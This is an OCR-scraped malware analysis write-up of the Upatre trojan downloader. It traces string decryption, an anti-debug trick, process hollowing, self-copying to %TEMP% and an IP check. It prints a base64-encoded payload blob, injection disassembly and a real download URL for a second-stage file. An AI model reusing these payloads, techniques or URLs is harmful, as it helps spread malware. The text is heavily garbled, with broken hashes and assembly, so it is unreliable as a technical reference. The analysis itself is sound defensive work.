Upatre - Trojan Downloader

cd ../reverse_engineering_malware 6 minutes read
You can get the sample from theZoo

SHA-256: 1b893ca3b782679ble5dlafech75be7bcc145b5da21a30f6c18dbddc9cbdede?

We can use behavior analysis from hybrid-analysis.

FROTECTIOM iD +0.6.8.5 DECEMBER

[Times ﬁﬁp-
(e DDDODDE

[ ] Log Filter Smart Scan Scan Files > | 50 |={MB Aggressive Scan

Statuz  WwWaiting far file(s] ¢ Folders to scan [ueus

> NN

Seems like there is no known protection mechanism.

In the strings, there is nothing important other than this base64 encoded string:

guswdfpjgmhujolohbpulannxkeqeem
a/ZMARBMTEIMTE zOSE x85 7 NMTPRMdGF NTAXT dF VM JEXAQTNMOk IM+EWBb FRMTQCBbRgk 1TI0bEXI L WwcCWwpTDQpL zk41L S4gTC TBRMgcCUXMRABNTK Yy rEXP|
TdZHTTBGSMXMTC 1eTE i 2XE XPbE j ITUdMekhsSkuwTHxPWO1MTOpMZE 1nSkv7 SkpPTEWDKGY FYUyk zGFOYNRDY§ gpNDIMT3AGREGE T 1HZz00BL GIMP gtOCIM
TNENTTZNMUrMTUDHX8zKbYdNZkZMXOBMWE X+ TEL1TQtNXxXnWTEQIEN6PH3+MTPhIsx 1UxQksTN/HOVh/jCrhTMUIhMcx8Bt /TIzHhMecxXTPTI9I4HBNOEUq|
TOCNyIwSuKehTBTBSATFCTB/TIzgxTmk jax0SE+8zk7 OwXjK4EzFCZDHhI2s T100WK jHtExdnOHNbMeOKuUEqDE 3gKkznBTm8x4 0X+GhIHASEiBTOTZZHTLTS8
Y+Z/j0b8TITBOYDFShobRLPTsEwcd cFwCw hoTOCA2wlAZkgkUMzewloas 9OMWF IMTCZJFCpM5+HhsoRITSpUS /VCZEQT Tk+94EwmSxWyhDhc /EwYsoQq|
5 /wIss6MDEDeKudnvQxoTMmMOFk c /GeMXgyMSBgE TE OcKudMFE h8KucmfhRMBAQE SwSPxw IMLMATI xT9D+oBMTqhPAa jHSTIMTAWP xQGMXxWFMmMKI9vGxXocxZFO)|
FE5T\wmq5\1ozEthLMZbNonk\_KuenL /HOWScT4VPSEhNSMmFTDkgFHatOB3HZI0meExC /Ax1/GN8KuTG]jY1RDU7 HCUTMHIgoG8e0x7 sk ImoUzWob6 TE1M
S Mxxz0iIQA9atceyplpccEw5/ <zmAzH+FDafHsouof1Unazn4 jRPMR jm7 £O HQO1zBOdHbNCORTO: xaHLM5f1iz33RsRixFcdpMGsES
jPTEXD\MTM\K1kqa1k|h k8cjwDsTL xdcOx U b / rvCZJ FmyXHxTIVDUOAT48F jAy6900THCRN
KnRMzHDtTBZZJERNLlypf4XFAAzFTAu X g G

q”\KzFZsFHeNOkQSaq\kpC\NpQKMHRUSCKWWbEkth\JDJ2stEIQ kHCZOTUIMREKcZESOFM1ACBOcGO5AUIeMSkSNpAXTIZY dIvxJILUldEVA xtqUCu
RchfQQCszkAp\ZsNL ShzGyhZszk IbIxl pPZzUsSMG 0JaMUyMvAZPTewCOCRMLH3PWE3As01 vTG3MDrAb9QIMOA3FykPNTQxJHROCcHawfBhjM
D7 kaEcmbBszNquqlz i GrI32jtu 8Gh 14VDhHfDCB8AQsUIRHAMTY10xQ1gIkZITO18 JEKB+MVYNTMeEXQ 14
d > RHz1u31c1kpNDFuNXa| TWWZbBWk
waMDMHuyIKIOO45\WFC|GeMskazwprEzHAH(kTHDRTIs
PHkbkERdhpstWw1\Bwaun\P+E1th0df50MDH+H\QWAB'\h10JNw
zE8AP05cOGNHShxMUO+0TGUISDhUrpHHTAGG9E SkTEYyL og8 h“lstHnFOLThc1THFbEk5MTD50\\qu MmeazC\\+MdLnFNMhJ 5
rLhMDAWrr /sKCgpMAWE /P 3Zs0eBMAHB i Pk Zwd TuMSkhYKueuwv0Z3hzNACZPvBzf TE1bTKxPTwmEHP1FDUZYXQmYFMecEWRMpb 2xs U g
yIFsThleeseBSIU09n0eHBXOHPTMWRCSTL TTVESN/ 1SNrU7HCaRPJI0Fx1TOCM1D3EFMQGQaHc+KS11MpceKnaUF x7 RMA X+ PD+eutSZMXhQVF 8dTVMMwxd 3|
JUPJj+xeVTxIsojdX91I9E+ETMdNxwIId404b1rcwWsr0SK1kf4zMdQ1c0Gq1V /SHcKyYMThVMCHyedUwgxwpE T4 rHAQwcs SynnyYcerQFbXDFKG1A3x0:
TGy SHkxEHk xgHE xDTENMQOyz00xDTENMQOXDTENMQOXDTLNDTENMOOXDTENMQOXDTENMI ONMQOXDTEAMKD7 6T0zeRm6 /4PhOTWBVTE zsdGIMTIhOTRZ8TeYU)|
fE2sdE04FEOGFEOdQG\MTCARTTZRTMQZfEszEzkazﬁnyth\M1n\MpH\Mtn\Mme 2 8 U 3 U
/ ApnUw+KS04 KWWK ISApGSpMHD5 s Ty8pPZzONTUWIRCkgKbtNCTQ ]
i71Mju8fITar nllchKlPD SgMHG5IXUOsASMo0SBuShZIKQWhPBwitOCS5TEBpMKT4 i
CTRN3EwalT440Ss qLAOgICMV3H24TApQP1k9T5hM/EU4K59NPEcnKT41K
nu |4EOEW4PAM 5 Q k4 3VBIN1UF STRQETllklleOF\TZS] Ti PbE JIRR44IA(||JLUQ W
D]qu1k+TR\Nst
TGN5YNnxMOTg13jC S| g 8 9, /Y IMET
0D4pT(k4K1M]KhI1T(k4Thn PbE”T(M1OCkTObMSTDWquOGPZMQTkaPZGG\]WGT(pMNTthD4]T(\pLZh1LthT\ A4Fnx9eGNIFUTE Inx1FHB5 1 35MFkxN
deZRdMTdAty1BPXUdMQE xMRkxdQUI1TkpDXE1KsOw I TA=—
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https://secrary.com/ReversingMalware/Upatre/
https://secrary.com/ReversingMalware
https://github.com/ytisf/theZoo/tree/master/malwares/Binaries/Waski.Upatre
https://www.hybrid-analysis.com/sample/1b893ca3b782679b1e5d1afecb75be7bcc145b5da21a30f6c18dbddc9c6de4e7?environmentId=100

...and imports is not eloquent but there is our friend GetProcAddress :

120 Section Headers [x]

POWRPROF.dIl

— Eil Resource Directory
— %Mﬁl’m Converter
— 4, Dependency Walker
— %, Hex Editor

— ¥, Identifier

— &, Import Adder

— ¥, Quick Disassembler
— 4, Rebuilder

— %Flmm Editor
—— 9% UPX Wrility OFTs FTs (IAT) Hint Name

0000345C 00000408 0000350E 00003510
Dword Dword Word szhnsi

00004DEA 0D0040EA 01EA GetLocalelnfoW

GetStartuplnfod

Let's openin IDA :

sub_403760 is used to get necessary Win API functions:
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Inside sub_ 403760 , malware decrytes strings and uses GetProcAddress to get

public start
start proc near

var_1C= dword ptr —1Ch

mouy
mouy
mouy
sub
push
mou
push
mouy
mouy
call
mouy
moy
moy
mou
call
push
call
mouy
add
push
moy
mou
call
mouy
sub
push
mouy
call
add
push
mou

addresses of functions:

Ll Ry )
aaua3apa
ges@3a8ps
aaLa3apD
g84038E2
a84 A3 BER
884083 BEB
88403 BEC
88483 BED
g840308F3
a8L A3 8F 8
ge4038FC

To decrypt strings before call GetProcAddress , Upatre uses following decryption routine:

mov
push
mov
call
mow
add
push
push
call
mouv
sub
sub

eax
eax
eCx
esp
esi
esi
edi
dwo
dwo
sub
edx
eax
ecx
dwo
sub
off
sub
edx
esp
eax
ecx
eax
sub
edx
edx
edx
dwo
sub
esp
a

dwo

483760

_ 483380

_L4A1114a

481108

_4834D0

» large Fs:I18h
» [eax+3ah]

» [eax+18h]

«» 1CGh

» duord 4A5A38

rd_485214, eax
rd_LA5844, ecx

» dword_485518
» [edx+1]

» duord_485028
rd_L4A5534, eax
set unk_L4B532C

» duord_ 485884
)

. 2
., edx

» BE48h
. B5i

rd_485A2C, eax

» U

rd_ 485518, eax

eax, |[eax+1sn]

offset aHtallocatevirt ; “4%\x17-—-P{BpDEA”]I[UAK! IETKL"
_—

ntdll, eax

DecryptString

ecx, ntdll

esp, 4

eax

ecx

ds:GetProcAddressde”
HtAllocateVirtualMemory , eax
d=, 8 —

dl, @
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Ch e v eem e L ey L e g
12

13| w2 = az2;

14| LOBYTE(al1) = ={ BYTE =})aZ;

15 wild = B;

16| memset{&vii, B, Bx7Fu);

17| w3 = ={ BYTE =){a2 + 1};

18] wh = B;

19 if ( ={ BYTE =)}(a2 + 1) )}

28| {

21 uL = {_BYTE =)(aZ + 5});

22 while { =uS )

23 {

2y u? = (a1l ™ =uS) - vk - 1;
2c v6 = ({unsigned  int8)ail ™ =u5) - ( BYTE)uvh == 1;
26 *(&u10 + ( DWORDIUS - a2 - B) = u7;
27 if ¢ *u7 B& UG )

28 al = _ROLA_ (a1, -32);
29 ++ul;

3a ++u5;

31 if § vh »= uid )

3z {

33 vz = az2;

34 goto LABEL 18;

35 3

36 b

37 *#{ BYTE =)aZ? = 0;

a8 w2 = az?;

39 *

4B|LABEL_18:

41| =(&uiB + uv3) = B;
42| ={ BYTE =){u3 + u2) = B;
43 For (1 = &uiB; uld; ++1 )

Ly {

L --u3;

4 i[v2 - ( DWORD)&uIB] = =ij;
L7 3

4| return v?;

Lok

Inside sub_402F30 malware uses this tegnique to get addresses for following Win API
functions:

NtAllocateVirtualMemory , NtUnmapViewOfSection , CreateThread ,
WaitForSingleObject , LoadLibraryA , HeapAlloc , RtlAllocateHeap ,
Rt1DecompressBuffer , FlushInstructionCache , NtGetContextThread .

The decryption routine is used heavily by malware in different places to get plain text.

4/13



A848325E call
Ae4P83263 or
A848326D push
80483272 mov
Ae483277 call
8048327 C mov ecx, ntdll
80483282 add esp, 4
A8483285 push eax
A8493286 push BCX

884083289 push
B848328E mov

88483282 mov
A8840832B7 jnz

off_4@500c,
short loc_4832D%

GetProcAddress
dword_48582C, 208088h
offset aRtldecompressb ; “"RtlDecompressBuffer'
RtlAllocateHeap_, eax
DecryptString

804983287 call esi ; GetProcAddress
offset aFlushinstructi ; “FlushlInstructionCache™
RtlDecompressBuffer_, eax

98483293 call DecryptString
804983298 mov edx, ntdll

8848329E add esp, 4

88483241 push eax

0040832A2 Hor eCcH®, BCH

a04832Aa4 mov eax, edx

8a4832a6 call GetProcAddress
884832AB cmp HtGetContextThread,

Edx

At 00403572, Upatre decodes base64 encoded string and saves at 004051B0 (I

renamed variable as decrypted_bin ):

88483554 DecryptBigString:
884083554 push a
00483556 push a
88483558 lea
8848355C push BCX
86483550 push esi
B848355E push 1
88483568 push BE4Bh
88483565 push

ecx, [esp+18h+var_L4]

; CRYPT_STRING_BASEGY

offset afnZmarbmteintez ; "a/ZHARDMTEAMTEzZOSEx8S/HMTPRMAGFHTAxIdFU" . ..

8848356 movu [esp+24h+var_4], BEL1h
88483572 call CryptStringToBinarya
80483578 test eax, eax
80483570 jnz short loc_ 483586
Ll e =]
004A3586
00403586 loc 4O3586:
88483586 mov decrypted _bin, esi
| 8848358C test esi, esi
" |8840358E pop esi
e 8040358F jnz short loc 483535
T L
e — |

At 0040386D it creates a new thread:
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A8493852
B8483854
BB483856
A8483858
B84 B385A
B84 9385F
A84083861
A8493863
B84 0838a6GD
A8493873
BB48387 Y
A848387nA

push
push
push
push
push
push
push
moy

call
push
call
call

88483988 push

OFFFFFFFFh

8

8

]

offset loc 483F38 ; lpStartAddress

]

]

dword_485A3C, 1

CreateThread_

eax

off_ 48563C ; WaitForsSingleObject

IsPurHibernatenllowed

uFFﬁet enc_CreateProcessW ; “CreateProcessy"

Main work starts inside the thread at 00403900 , Where it decryptes and gets addresses for
several Win API functions: CreateProcessW , ExitProcess , NtWriteVirtualMemory ,
NtSetContextThread , etc.

a8483A37 mov eax, [esp+344h+var_328]
88483A3D lea edx, [esp+34ih+var_2C4]
88483A44 push edx
88483A45 push eax
ae483A46 call _HtGetContextThread
88483A4C jmp short loc_4B83A59

[

= &

Anti-Debug:

98483918 mov [esp+344h+var_2CC],
88483918 mov [esp+344%h+var_324], eax
8848391C call DecryptString_
804083921 movu ed=, ntdll
884093927 add esp, 4
A8408392A push eax
00483928 xor ECX, BCX
80483920 movu eax, edx
9848392F call GetProcAddress
80483934 mov CreateProcessYW , eax
88483939 mov eax., OD=Z4EG587D2
Creates itself as a new process in suspended mode and saves Context :
80403A25 push  edx -7
88483A26 push edi
88483A27 push edi
88483A28 push L ; CREATE_SUSPEHDED
80483A2A push edi
88483A2B push edi
88483A2C push edi
88483A2D push ECX
B86483A2E push eax ; CiivlsershJohn Doe\Desktopisample.exe
80483A2F call CreateProcessW  ; itself
A84B3A35 test fFax, eax
804083A37 j=z short loc_4B83ALE
. J
Ll e (=]
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There is one interesting anti-debug trick, at the start, it saves PEB and uses BeingDebug
value [PEB+2] in XOR decryption routine, outside of a debugger this value is © and
adding © don’t cause any error, but if we try to add 1 (which is the value of [PEB+2] Iif

the executable is inside a debugger) it may cause error. In this case
Rt1DecompressBuffer returns 0xC0000242 (STATUS_BAD_ COMPRESSION_BUFFER)

error.

The reason of this error is that before calling Rt1DecompressBuffer , malware
decrypts(with XOR) decoded strings using 0x4C+[PEB+2] which is 0x4D inside a

debugger instead of 0x4C , because of this result is corrupted output.

nop

L
. FC cld
- 8B 15 18 55 40 00 mov gdx,dword ptr ds:[405518]
& 00403CD4 8B 0D 14 52 40 00 mov ecx,dword ptr cds:[405214]
® | 0D403CDA B8A 12 mov dl,byte prr ds: [gdx])
& [ 00403CDC 02 51 02 add dl,bvte ptr ds: [ecx+2] ecx --= DebugFlag
® | 00D403CDF 8B 35 BO 51 40 00 mov esi,dword ptr ds:[<decrypted_bimn=]
& 00403CES 30 14 06 xor byte ptr ds:[esi+eax],dl
® | 0D403CES OF B&6 49 02 movex ecx,byte ptr ds:[ecx+2] ecx --=> DebugFlag
& | 00403CEC 40 inc eax
® || 00403CED 81 C1 40 DE 00 00 add ecx,E40
F*o 3B C1 Cmp eax,ecx when BeignDebug + 1
--# | DO403CF5 ~ OF 86 4B FF FF FF ijbe sample. 403C46
£
axe: $3CF3 #30F3
Pyoump3 B Dump4 B Dump 5 B8 watch 1 Ix=] Locals ' Struct
ASCIT
B CC 4C 4D (4C 4C 4C CE |48 4C 7C B3 rElL..ILr-'ILLLIHL|'
I 74 61 4D (4C OC 48 F4(55 4C 24 4C| "LLOLTAML.HTULSL
B 42 4C F8(45 81 6D F4(4C 4D 00 81| @BSLOBLOE.mALM. .
F 4E 6C 4C |48 2D 6C 1C |09 &C 29 4C|m. $%7?NILH-T1..1)L
B ZD ZE ZO(4C 29 41 46(68 1C 09 4C|4)/98-. LJAFh..L
£ 46 32 AC|(4C 4F 4D D& |47 4D 30 46| LD.MNF2-LOMOGMOF
9 SE 4C 48(B6 5C 4C 4F[6C 48 C9 4D | HILL)ALHYY\LOTHEM
2 4A 4B BO|4C 7C 4F SB|4D 4C 4F 4A|GLZHRIK®L [O[MLO]
4 4B FB 4A (44 4F 4C 4C |03 28 6C 9F LdMEJEEEJQLE.{l.

[eax+2] is the value of BeingDebug :

A8483CCE mou
A8483CD4 mou
A8483C0A mouv
A8483CDC add
A8402CDF mouw
A8402CES xor

88483CEC inc
A04082CED add

884083CF5 jbe

B0483CER mouvzx

edx, dword 485518
ecx, dword 4685214

dl, [edx]

dl, [ecx+2]

esi, decrypted bin
[esi+eax], dl

ecx, byte ptr [ecx+2]
eax

ecx, HBE4Bh

BCX
loc_483C46

7/13



Structures

Enums

1B General registers

ints

Uy UguLrar l.ll.l:lll [ ] surn I'IL-)-J].I.II'l_I unrm I_LLI'lI L]

808403088 mov [esp+368h+uar_340], @ EAX COBBO242

88483093 call RtlDecompressBuffer EBX 885588088 % debugB22:0@

884683099 cmp [esp+35Bh+var_348], 8 ECXEBBE6GCA

B6483D9E jbe loc_4B3EFD EDX BB6CBEB3 & debugB28:88

: ESI 000612688 &
B ZE y EDI BBGCBEBD & debugB28:060
quﬁL:;u espraseh Sy EBF 75865188 & kernels2.dl
mou eax, esp+ +ar_

g esi. [eax+3Ch] ESP 822CFC30 & Stack[ 00801
AB403DAB mov ecx, [esi+eax+54h] EIP 88483099 & mainWORK+49
8a8483DAF add esi, eax EFL 88880244

We can use ScyllaHide plugin for IDA to defeat this anti-debug method.

Decompresses decoded and decrypted base64 string using Rt1DecompressBuffer (format
COMPRESSION_FORMAT_LZNT1 ):

ouHUJILIrOY aca COfMm gy LEJF'UJHII'UBI _u-ruj
A84A82D8Y4 push eax
B84 832085 push eCx
06403086 push edi
06403087 push esi
80483088 push ebx
08483089 push 2 ; COMPRESSION_FORMAT_LZHTA1
8848308 mov [esp+368Bh+var 3487, 8
A84A3D093 call RtlDecompressBuffer
88482099 cmp [esp+3568h+var_348], @
808482D9E jbe loc_4A3ZEFD
Y
= — 1
...and writes into suspened process:
Y
I
A8483DAY mov eax, [esp+3SBh+var_324]
A8483DA8 mov esi, [eax+3Ch]
80483DAB movw ecx, [esi+eax+54h]
88483DAF add esi, eax
80483DB1 1ea edx, [esp+358h+ReturnLength]
88483DBS push edx ; ReturnLength
66483DB56 mov edx, dword 485524
A8483DBC push ecx ; BufferLength
A84083DED push eax ; Buffer
A8483DBE mov eax, [esp+3S5Ch+ProcessHandle]
80483DC2 push edx ; BasefAddress
88483DC3 push Pax ; ProcessHandle
804030CYH call HtWritelirtualMemory
a4 83DCA test Pdx, eax
aa4ye30pce 1 loc_4083F18

After decompress it calls NtSetContextThread , value of EIP is 401265 :
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e i -—r =

OOLO3EAC push  eax
B04B3EAD push BCX
OB4B3EAE call  ebp

B04B3EEA mov ecx, [esp+ThreadHandle]

80403EEB4 mov edi, eax ; HtResumeProcess
BALA3ERS lea eax, [esp+Context]

BA4AB3EBD push eax ; Context; EIP=ﬂxuﬂ1265|
BA4A3EBE push BeCX s ThreadHandle

BO04B3EBF call HtSetContextThread
AA4E3ECS test eax, eax
88483ECT j1 short loc_L483F 8D

[l =t [ |
Resumes thread and exits:

PO4A3EFA test eax, eax
084 03EF2 jz short loc_483F 6D

y

B8483EFL mov eax, [esp+arg_18]

08483EFE push eax

A84B83EF? call edi ; HEResumeProcess
BB4B3EFE jmp short loc_483F @D

8084 a3F 8D

B0483FBD loc_483F6D:

80483F 8D push

80483F12 call ExitProcess_

T

= = 1

Before NtResumeProcess call attach x32dbg to child process and set EIP to 401265 :

Jun 7 2017 B | fontdrvhost exe

= = " - e B dwm.exe D12 ]
S5 E =0l Y& Tt B bems e oo :
= = o = = L =) Explorer exe 0.07 3
ﬁ CPU | Notes ® Breakpoints 5 Memory Map L) call 54 EHMSP;SCuiL.e:e 1
. 83 C4 aC add esp,FFFFFFIC gvm’molsd.exe 0.04 1€
& | 00 = 8B EC mov ebp,esp i °
o0 A 81 C4 7C FF FF FF add esp,FEFFFFTC B Efqexe iz .
] ES 00 00 00 00 c€all sample.401275 = =% sample exe 1
. B pop ebx = cample
. 80 E7 FO and bh,Fo ) il .exe_' 0.02 1
o 54 05 push 5 [ L2 procexp’exe :
. 8D 7D 14 1ea edi,dword ptr ss:|[Jebpy ; 3
. e o xor b1,Bb1 L procexpbd exe D.EE 1
= P push ebx ¥ «32dbg exe 172 44
- SE pop esi
. 53 pop ecx
* 41 nc ecx CPU Usage: 5.93%  Commit Charge: 35.20%  Proce
. 33 CO XOF 2ax,2ax —
. 66 AD lodsw ax,word ptr ds:[esi]
. 03 €3 add eax,ebx
. AB stosd d'."\'nrd ptr es:[edi],eax edi:"LdrpInitializeProc
] 49 dec ecx

Close IDA and start analyzing of the child process.

Triestoread uttEe47.tmp file from %TEMP% directory without success:
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® 401307 B9 00 00 00 00 mov _ecx,0

®([40130C FF 55 20 €8l dword ptr ss:llebp+zol

®([40130F 50 push eax

® (401310 56 push esi esi:L"C\V\WUsers'\ JOHNDO~1Y\AppDatas Local’\Temp W UTTED47 . tmp"
® (401311 FF 93 5C 11 00 00 E€allll dword ptr ds:[ebx+115C] [ebx+115C]: swprintf

® (401317 83 C4 18 add esp,18

® (401314 33 COo XOor eax,eax

®(|40131C S0 push eax

® 401210 &8 80 00 00 00 push S0

® 401322 6A 03 push 3

® (401324 S50 push eax

® (1401325 6A 01 push 1

® (401327 65 00 00 00 80 push 80000000 GENERIC_READ

® (4013 2C 43 push esi esi:L"C\\Usersi\ JOHNDO~1%\AppDatasLocal’\Temp' W UTTED47 . tmp"
®(|40132D FF 93 EC 10 00 00 ﬂ dword ptr ds:[ebx+10EC] [ebx+10EC]:CreateFilew

27 Pracess Monitor - Sysinternals: www.sysinternals.com

ile Edit Event Filter Tools Options

Help

- O

FH ABE|CAD (A5 AEB LR

PID  Cperation
5540 BhCreateFile

Time ... Process Name

217.... L sample exe

Path

C:\Users'John Doe'\AppData‘lLocal\. Temp witEQ47 tmp

Result Detail
NAME NOT FOUND Desired Access: Generic Read....

Creates one and writes location of the executable:

o [30133a g0 push eax
®(40138B 3z CO XOr eax,eax
®[40138D S0 push eax
®||20138E 68 80 00 00 00 push 80
®||201393 64 02 push 2
® 401335 S0 push eax
®||201396 64 02 push z
®|l401398 68 00 0O 00 40 push 40000000 GENERIC_WRITE
& (1401390 CE push esi esiiL"Ciy\Users YW JOHNDO~1\\AppDataisLocaly\Temph \WTTED47 . tmp™
®|40133E FF 93 EC 10 00 0O @@l dword ptr ds:[ebx+10EC] [ebx+10EC]:CreateFilew
®|4013A4 82 F8 FF cmp eax,FFFFFFFF
---#||201347| =~ 74 DO je sample. 401379
& 40134 89 45 S0 mov dword ptr ss:[Qebp+sofl, eax
® [|2013AC 58 pop eax
® ||2013AD 64 00 push 0
® 20134 8D 4D 44 lea ecx,dword ptr ss:[ebp+44]
® 401362 51 push ecx
®|[2013B3 50 push eax
®|[4013B4 57 push edi edi:L"C:\WUsers'\John Doe\MDesktop''sample. exe"
®[4013B5 FF 75 50 push dword ptr ss:llebp+s0j
® 401365 FF 93 1C 11 00 00 galll dword ptr ds:[ebx+111C] [ebx+111C]:writeFile
—e FF 75 50 Eush dword ptr ss:[ebp+50]
& A0 3 FEE 93 F2 10 00 OO0 dwnrad ntrer rfdcs Tahw10E8] [ahy+inERl ' Ccincadandls
£F Process Monitor - Sysinternals: www.sysinternals.com -
File Edit Event Filter Tools Options Help
S = §
FHIABE CAD @ M8 #HBAE
Process Mame PID Operation Path Result Detail
| % gample.exe 5540 @Createﬁle CxUsers‘John Doe*AppDatatLocal TempwitEQ47itmp  SUCCESS Desired Access: Generic Write, ...
- gample.exe 5540 @Writeﬁle CxUsers‘John Doe*AppDatatLocal TempwitEQ47itmp  SUCCESS (Offset: 0, Length: 74, Priorty: M...
Inside of uttEE47.tmp file:
g| Time .. Process Name PID  Operation Path Result Detail
I 12:21:.. = sample exe 5540 gCreateFlle C:xUsers®John Doe'\AppDatatLocal\ Temp witE047tmp  SUCCESS Desired Access: Generic Write....
W 12:21:.. = sample exe 5540 %Writeﬂle C:xUsers®John Doe'\AppDatatLocal\ Temp witEQ47tmp  SUCCESS Offset: 0, Length: 74, Priority: N...
I 12:22:... " sample exe 5540 %Ooseﬂle C:hUserstJohn Doe'AppDatatLocal\ Temp witE047tmp  SUCCESS
= | Temp
Home Share WView
v Search
Date modified Type Size

7/10/2017 12:21 AM  TMP File

1KE

E uttEQ47.tmp - Motepad

File Edit Format View Help

4 » ThisPC » Local Disk (C:) » Users » JohnDoe » AppData » Local » Temp
Mame

3 Quick access D

uttE047 8

[ Desktop ;. L

C:\Users\John Doe\Desktop\sample.exe

Copies executale to %TEMP% directory as utilview.exe
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401437

...and creates as new process:

4014B0

4014DC
<

75 58

75 54

93 FO 10 00 00

push
push
push
push
push
push
push
push
call

dword ptr ss:|[lebp+ss]
ecx

ecx

eax

ecx

eax

dword ptr ss:|[lebp+5s4]
ecx

dword ptr ds:[ebx+10F0]

[ebp+58]:L"C: )\

[ebp+54]:L"C: )\

Users'' JOHNDO~1% AppData’\Local’ Temph '™

Usersh' JOHNDO~1%\AppDatai\Local \Temph\utiTview. exe"”

[ebx+10F0] :CreateProcessw

. 8B F8 mov edi,eax
®||401439 57 push edi
® (1401434 68 80 00 00 00 push 30
®(|40143F 6A 02 push 2
® 401441 57 push edi
® (1401442 B6A 02 push z
& (401444 68 00 OO0 00 40 push 40000000
® (401449 FF 75 54 push dword ptr ss:[[ebp+s 4] [ebp+54]:L"C:\\Usershi)\ JOHNDO~1Y \AppDatalhLocal \Temphhutilview. exe”
® [ 40144C FF 93 EC 10 00 00O call dword ptr ds:[ebx+10EC] [ebx+10EC]:CreateFilew
®|401452 85 CO Test edx,eax
£F Process Monitor - Sysinternals: www.sysinternals.com — m| *
File Edit Ewent Filter Tools Options Help
| FHABPE TAS E a8 KB A0
Time ... Process Name PID  Operation Path Result Detail
12:24:... ™ sample exe 5540 BhCreatefile C:\UsershJohn Doe'\Desktop'sample exe SUCCESS Desired Access: Generic Read....
12:24: . ™ sample exe 5540 [BhQueryStandard!...C:\Users'John Doe'\Desktop'sample exe SUCCESS AllocationSize: 28,672, EndOfFi...
12:24:... ™ zample exe 5540 &Readﬁle C:ilgershJohn Doe'\Desktop'sample exe SUCCESS (Cffset: 0, Length: 28,160, Priorit...
12:25:... " sample exe 5540 @Createﬂle C:lserstJohn Doe'AppDatatlocal\Temp'utiview exe  SUCCESS Desired Access: Generic Wiite, ...
12:25... ™ sample.exe 5540 %Wmeﬁle CilsershJohn Doe'AppDatatLocal\Temp utiview exe  SUCCESS Offset: 0, Length; 28,160, Priorit...
12:25. . ™ sample exe 5540 BhCloseFile C:\UsershJohn Doe'\Desktop'sample exe SUCCESS

£F Process Monitor - Sysinternals: www.sysinterals.com

File Edit Event

Filter

Tools

Options  Help

np is taken
nple. 00401840

axt:004014C2 sample. ex

S RBE|AS B MK R LIE

Time ... Process Name

12:28:... "L sample.sxe

PID  Operation Path

5540 &F Process Create  C:\Users\JOHNDO™1'AppData‘Local' Temp wtilview exe SUCCESS

Result Detail

PID: 2260, Command line: C:ALL...

This process is exactly same as the first process, creates a new process and injects
decoded and decompressed code.

Let’s reverse last part (injected code) a little bit higher level.

Now we are here: sample.exe -> sample.exe -> utilview.exe -> utilview.exe

The injected code is also same as before it checks uttEE47.tmp file, but this time there is

uttEe47.tmp in %TEMP% directory and malware goes a different direction, reads the
content of uttE®47.tmp , which is the location of the executable and removes that
executable:
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00401401 6A 20 push zo

00401403 SE pop esi

0040140 4 BF E8 03 00 00 mov edi,3ES

004014D9 FF 75 00 push dword ptr ss:[ebp]
004014DC FF 93 F4 10 00 00 €8l dword ptr ds:[ebx+10F4]

[ebp]:L"C:ivM\UsersyyJohn DoeY\Desktop''\sample. exe"

[ebx+10F 4] :Deleterilew
e

L — e
§§: 2§ Process Monitor - Sysinternals: www.sysinternals.com - O X
gg: File Edit Event Fiter Tools Options Help
o BHIRBE A D 45| RBLTE
004 Time ... Process Na... PID  Operation Path Result Detail

004 - Utilview exe
004 12:39:... = utilview.exe
gg: 12:42:... " utilview exe
nnd 12:42:... " utilview.exe
004 12:42:... " utibview.exe
gg: 12:42: . "L utilview exe
004
004
004
004

o utilview exe

4920 [EhReadFile
4520 [EhClossFile
4520 gaCreateFiIe C:\UsersJohn Doe'\Desktopsample. exe
4520 a(}ueryﬁd'tribl.rteT...C:\Users\John Doe'\Deskiop'sample.exe
4520 aSaDisposﬂionl... C:\UsersJohn Doe'\Desktop'sample exe
4920 BhCloseFile C:\Users'John Dog'\Desktop'sample exe

CUsers'John Doe'\AppData‘\Local\ Temp it ED47 tmp
Bk QueryStandard| .. C:\Users'John Doe\AppData‘\Local Temp it ED4 7 tmp
C:Users\John Doe'AppData®Local Temp it ED4 7 tmp
C:Users'John Doe'AppData®Local Temp it ED4 7 tmp

SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

After this it gets IP of the victim using checkip.dyndns.com :

FF

call dword
mov c1,ah
call dword
push eax
push dword
call dword
pop ecx

push =
pop ecx

B L L

test eax,eax

Toope utilview.4015DC
mov dword ptr
Jje utilview.40153A
xchg eax,edi

Lot et
ptr ss:|ebp+z4]

ptr ss:|ebp+204

ptr ss:|[febp+3C])
ptr ds: [ebx+1144]

.
551

Pebp+10{, eax

Also, there is a typo in user-agent string:

mov esi,eax
push esi

push eax

push esi

push 0O

push &

pop ecx

€all dword ptr
push eax

call dword ptr
test eax,eax

je utilview. 4014F3

mov dword ptr
push 3

T

ss: |febp+zof)

ds: [ebx+1140]

ss:|flebp+3C), eax

and parses IP from returned file:

65

20

test eax,eax

jne utilview. 4016AF

mov esi,dword ptr ss:[Jebp] [ebp]:"™

mov eax,dword ptr ds:[esi] esi:"lexCurrent IP

inc eax

inc eax

inc esi esi:"lexCurrent IP Check
cmp eax,65726466

Toopne utilview. 4016E7

inc eax

inc eax

Jjcxz utilview. 4016AF

inc esi esi:"lexCurrent IP Check
inc esi esi:"lexCurrent IP Check
inc esi esi:"le=Current IP Checks<
lodsd eax,dword ptr ds:[esi] esi:"lexCurrent IP Check
sub eax,203A7373

jne utilview. 4016AF

lodsb al,byte ptr ds:[esi] esi:"le>Current IP Check=<
cmp al,2E 2E:"."

</ titlex

eax:L"checkip.dyvndns.org”
eax:L"checkip.dyndns.org"

eax:L"checkip.dyvndns.org”

eax:L"Mazilla/5.0"

eax:L"Mazillas5.0"

eax:L"Mazilla/ss.0o"

[be+1iﬂﬁTTTﬁ%ErnetDpenn

eax:L"Mazillas5.0"

</title></
</titles

Jritles

</title=</

Stitle~</

</head><body>Current IP

cbody>Current IP
body>Current IP
body>Current IP
»<body>Current IP

><body>Current IP

Desired Access: Generic Read, Disp. ..
AllocationSize: 80, EndCfFile: 74, Nu...
Offset: 0, Length: 74, Prionty: Mormal

Desired Access: Read Attributes, Del...
AMtributes: A, ReparseTag: k0
Delete: True

[ebx+1144] : InternetConnectW

<html=<head=<titlexCurrent IF Check</title=</head»<body=Curi
Check«</title></head><body>Current IP Address: 1Li

Address: 1

Address: 1
Address: 1
Address: 1
Address: 1

Address: 1
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It tries to download questd.pdf from http://penangstreetfood.net/wp-
